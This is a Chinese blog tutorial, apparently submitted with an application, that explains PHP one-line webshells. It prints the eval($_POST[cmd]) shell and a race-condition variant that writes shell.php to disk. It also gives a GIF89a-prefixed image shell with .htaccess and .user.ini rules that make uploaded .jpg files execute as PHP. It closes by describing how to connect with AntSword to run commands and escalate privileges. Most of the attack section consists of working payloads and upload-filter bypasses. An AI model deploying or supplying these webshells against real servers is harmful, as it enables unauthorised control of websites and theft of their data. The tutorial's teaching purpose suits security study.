1、申 请 I D:Elitewa
2、个人邮箱:2411828540@qq.com
3、原创技术文章:本人的个人博客地址为 https://blog.byzhb.top CSDN博客地址为https://blog.csdn.net/Elitezhb ,博客内文章皆为原创,并且所作文章多次进入CSDN全站或单独板块热度榜前10,以下文章仅为其中之一
你真的了解一句话木马吗?
<h1><span data-cke-copybin-start="1"></span>一、前言:</h1>
一句话木马是大多网安人在初步学习中,就遇到的一种简单的木马文件,相信很多人都像博主一样在接触到这一段代码时,都会感到非常的神奇,通过这样一段代码就能控制服务器,但却不知道其中的原理,在学习PHP之后才明白其构成,今天博主就带大家浅析一下一句话木马,也算是朝花夕拾吧
<h1 id="%E4%BA%8C%E3%80%81%E4%BB%80%E4%B9%88%E6%98%AF%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%EF%BC%9A">二、什么是一句话木马:</h1>
一句话木马是一种短小精悍的恶意代码,通常只有一行之长。这种木马可以利用一些漏洞,以上传文件、修改配置等方式将恶意代码植入到受害者服务器上,然后通过一些特殊手法在服务器端执行,以达到入侵控制目的。攻击者可以使用一句话木马来窃取网站的敏感信息、篡改网站内容、攻击其他网站、制造破坏等。由于一句话木马具有体积小、隐蔽性强等特点,在黑客攻击中非常常见。
<h1 id="%E4%B8%89%E3%80%81%E5%B8%B8%E8%A7%81%E7%9A%84%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%EF%BC%9A">三、常见的一句话木马:</h1>
我们接触的一句话木马大多为这种,该木马使用了PHP语言,需要在有PHP环境的站点中才可使用
<pre class="code"><?php @eval($_POST[cmd]); ?></pre> <h2 id="%E6%9C%A8%E9%A9%AC%E8%AE%B2%E8%A7%A3%EF%BC%9A">木马讲解:</h2> <h3 id="1%E3%80%81%24_POST%5Bcmd%5D">1、$_POST[cmd]</h3>
<strong><code>$_POST</code></strong> 是 PHP 中的一个<span style="color: #ff0000;"><strong>超全局变量</strong></span>,我们在浏览器中<span style="color: #ff0000;">POST</span>方式提交的所有变量,都会保存在此数组中,变量名即为键名 <h3 id="2%E3%80%81eval()">2、eval()</h3> <strong><code>eval()</code></strong> 函数在 <span style="color: #ff0000;">PHP</span> 中用于<span style="color: #ff0000;"><strong>执行字符串中的代码并返回执行结果</strong></span>。该函数接受一个字符串作为参数,该字符串包含要执行的 <strong><span style="color: #ff0000;">PHP</span> <span style="color: #ff0000;">代码</span></strong>(<em>在此代码中为<span style="color: #3366ff;">$_POST[cmd]</span></em>),然后执行该代码,并且可以返回结果
<span style="color: #0000ff;"><strong>该函数对php语法要求严格,所传入语句必须以" ; "号结尾</strong></span>
<h3 id="3%E3%80%81%22%40%22">3、"@"</h3>
符号"<span style="color: #ff0000;"><strong>@</strong></span>"的作用是<span style="color: #ff0000;"><strong> 屏蔽该语句的报错信息</strong></span>,也就是所即使该语句执行错误也不会显示报错信息,如果站点<span style="color: #ff0000;"><strong>PHP版本>=8.0</strong></span>的话,访问不带"@"的一句话木马会显示如下:
<img class="alignnone wp-image-232" src="https://blog.byzhb.top/wp-content/uploads/2023/04/08c9257fe8ef43b3b22b5214fd9bb991.png" alt="" width="769" height="165" />
<span data-cke-copybin-end="1"></span>
<blockquote> 原因是:<strong>php自8.0版本之后会对使用未定义的变量进行报错</strong></blockquote>
我们初步访问此木马时并没有对其变量传值,固然会报错
<h3 id="4%E3%80%81%E8%84%89%E7%BB%9C%E6%A2%B3%E7%90%86">4、脉络梳理</h3>
该木马的大体意思为,用eval函数,将我们post方式提交的名为cmd的变量,当做PHP代码执行,cmd变量可为任何攻击代码
<h1 id="%E5%9B%9B%E3%80%81%E5%8F%AF%E7%94%A8%E4%BA%8E%E6%9D%A1%E4%BB%B6%E7%AB%9E%E4%BA%89%E7%9A%84%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%EF%BC%9A">四、可用于条件竞争的一句话木马:</h1>
关于什么是条件竞争请看博主的这篇文章http://t.csdn.cn/RFAgE
<h2>木马讲解:</h2>
<pre class="code"> <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>' ); ?></pre> <h3 id="1%E3%80%81fopen()">1、fopen()</h3> <blockquote><strong>该函数的格式为 fopen(filename,mode,include_path,context)</strong></blockquote> <img class="alignnone wp-image-234" src="https://blog.byzhb.top/wp-content/uploads/2023/04/cee94cb73d144614be264bc357d9e02c.png" alt="" width="650" height="378" /> <pre class="code"> fopen('shell.php','w')</pre> 该语句的意思为,以<span style="color: #ff0000;"><strong>写入方式</strong></span>打开一个叫做“<span style="color: #ff0000;"> shell.php</span> ”,的文件,该文件不存在,故<span style="color: #ff0000;"><strong>创建</strong>了一个shell.php文件</span> <h3 id="2%E3%80%81fputs()">2、fputs()</h3> <blockquote>该函数格式为  <strong>fputs(file,string,length)</strong></blockquote> <img class="alignnone wp-image-233" src="https://blog.byzhb.top/wp-content/uploads/2023/04/c84dc8141b49409abc6a14f7bdc26eda.png" alt="" width="728" height="146" /> <pre class="code">fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>' )</pre>
<blockquote>file参数对应 <u>fopen('shell.php','w') </u>语句生成的shell.php文件
string参数对应 <strong>'<span style="color: #ff0000;"><?php @eval($_POST[cmd]); ?></span>' </strong> 这条字符串</blockquote>
<p id="%E4%B9%9F%E5%B0%B1%E6%98%AF%E8%AF%B4%E6%8A%8A%E6%9C%A8%E9%A9%AC%E8%AF%AD%E5%8F%A5%E5%86%99%E5%85%A5%E5%88%B0%E4%BA%86shell.php%E4%B8%AD"><strong>也就是说把木马语句写入到了<span style="color: #ff0000;">shell.php</span>中</strong></p>
<h3 id="%C2%A03%E3%80%81%E8%84%89%E7%BB%9C%E6%A2%B3%E7%90%86"> 3、脉络梳理</h3>
该函数首先借用<strong>fopen函数</strong>的<strong>w</strong>方式,创建了<strong>shell.php</strong>文件,然后用<strong>fputs函数</strong>将<em>'<span style="color: #339966;"><?php @eval($_POST[cmd]); ?></span>' </em>写入了该文件
换而言之,一旦访问该文件,就会生成一个名为<strong>shell.php</strong>的一句话木马,木马的内容在上文已讲过
<h1 id="%E4%BA%94%E3%80%81%E5%9B%BE%E7%89%87%E9%A9%AC">五、图片马</h1>
<h2 id="1%E3%80%81%E4%BB%80%E4%B9%88%E6%98%AF%E5%9B%BE%E7%89%87%E9%A9%AC%EF%BC%9A">1、什么是图片马:</h2>
在站点<strong>禁止</strong>上传php文件时,我们可以将含有一句话木马的jpg(也可以是其他img格式)图片,配合<strong>.htaccess</strong>文件,将其解析成php文件
<h2 id="2%E3%80%81.htaccess">2、.htaccess</h2>
文件内容为
<pre class="code"> <FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
//大体意思是设置当前目录所有带jpg的文件名都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则,则报错</pre>
然后命名为 <strong>.htaccess </strong> 并上传
<h2 id="3%E3%80%81%E6%9C%A8%E9%A9%AC%E5%9B%BE%E7%89%87">3、木马图片</h2>
文件内容为
<pre class="code">GIF89a
<?php @eval($_POST[cmd]); ?>
//GIF89a 为了绕过可能存在的MIME头检测</pre>
然后命名为 shell.jpg 并上传,上传后访问其路径便可以传参
<h2 id="4.%C2%A0%C2%A0%20.user.ini%E6%89%A9%E5%B1%95">4. .user.ini扩展</h2>
文件内容为
<pre class="code">auto_prepend_file=shell.jpg
//意思就是当前目录中的php文件的页头会自动去包含shell.jpg中的文件内容
auto_append_file 是页尾包含</pre>
文件名为 <strong>.user.ini</strong>
操作步骤和 .htaccess相似
<h1 id="%E5%85%AD%E3%80%81%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E8%BF%9B%E4%B8%80%E6%AD%A5%E5%88%A9%E7%94%A8">六、一句话木马进一步利用</h1>
我们可以通过蚁剑、菜刀、冰蝎等webshell工具,来更加彻底的利用一句话木马,这里以蚁剑为例
<h2 id="1%E3%80%81%E8%BF%9E%E6%8E%A5">1、连接</h2>
<img class="alignnone wp-image-235" src="https://blog.byzhb.top/wp-content/uploads/2023/04/e01a9e9be9694b1d81815438ec83a071.png" alt="" width="517" height="406" />
<blockquote>url地址为 站点url+木马上传路径
连接密码为 shell.php中POST的变量名</blockquote>
<h2 id="2%E3%80%81%E5%88%A9%E7%94%A8">2、利用</h2>
在连接成功后,便可以遍历网站服务器目录,执行命令操作,或进行进行一步提权操作
<img class="alignnone wp-image-231" src="https://blog.byzhb.top/wp-content/uploads/2023/04/0ef86bfb1fa34cc4ad007daf45062700.png" alt="" width="610" height="397" />
<blockquote> </blockquote>